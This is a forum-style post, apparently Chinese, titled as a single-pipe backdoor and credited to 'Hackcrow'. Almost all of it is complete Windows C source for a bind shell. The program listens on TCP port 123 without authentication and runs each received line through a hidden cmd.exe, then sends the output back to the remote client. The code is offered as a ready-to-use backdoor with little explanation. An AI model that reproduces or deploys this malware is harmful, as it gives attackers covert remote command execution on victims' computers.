单管道后门
/** 实现了一个单匿名管道后门...个人整理
*
* written by Hackcrow
*/
#include <stdlib.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")
#define BUFFERLEN 1024
#define PORT 123
void TelnetForCmd2(); //绑定cmd.exe
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//下面是调用绑定cmd.exe的TelnetForCmd函数
WSAData wsa;
if(WSAStartup(MAKEWORD(2,2),&wsa) == 0)
{
TelnetForCmd2();
WSACleanup();
}
return 0;
}
void TelnetForCmd2()
{
//telnet 绑定cmd.exe
int val=1;
char data[BUFFERLEN];
SOCKET server;
SOCKET client;
struct sockaddr_in locsin;
server = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//创建套接字
locsin.sin_addr.s_addr=INADDR_ANY;
locsin.sin_family = AF_INET;
locsin.sin_port = htons(PORT);
bind(server, (sockaddr*)&locsin, sizeof(locsin));
//绑定IP地址和端口
listen(server,2);
while(1)
{
val=sizeof(locsin);
client=accept(server, (sockaddr*)&locsin,&val);
if(client!=INVALID_SOCKET)
{
HANDLE rp1, wp1;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
unsigned long lBytesRead;
int ret;
char cmdLine[1024];
BOOL cmdcomplete;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
CreatePipe(&rp1, &wp1, &sa, 0);
memset(&si,0,sizeof(si));
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdError = si.hStdOutput = wp1;
si.wShowWindow = SW_HIDE;
si.cb = sizeof(STARTUPINFO);
cmdcomplete = TRUE;
while(1)
{
Sleep(100);
lBytesRead = 0;
ret = PeekNamedPipe(rp1,data,BUFFERLEN,&lBytesRead,0,0);
if(lBytesRead) {
if(ReadFile(rp1, data, lBytesRead, &lBytesRead, 0) > 0) {
ret = send(client, data, lBytesRead, 0);
if(!ret) break;
}
}
else {
lBytesRead=recv(client, data, BUFFERLEN ,0);
if(lBytesRead <= 0)
break;
if(cmdcomplete == TRUE)
strcpy(cmdLine,"cmd.exe /c ");
data[lBytesRead] = '\0';
strcat(cmdLine,data);
if(strstr(data,"\n") != 0) {
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&pi);
cmdcomplete = TRUE;
}
else {
cmdcomplete = FALSE;
}
if(!ret) break;
}
}
CloseHandle(rp1);
CloseHandle(wp1);
closesocket(client);
}
}
closesocket(server);
}
//end TelnetForCmd function
页:
[1]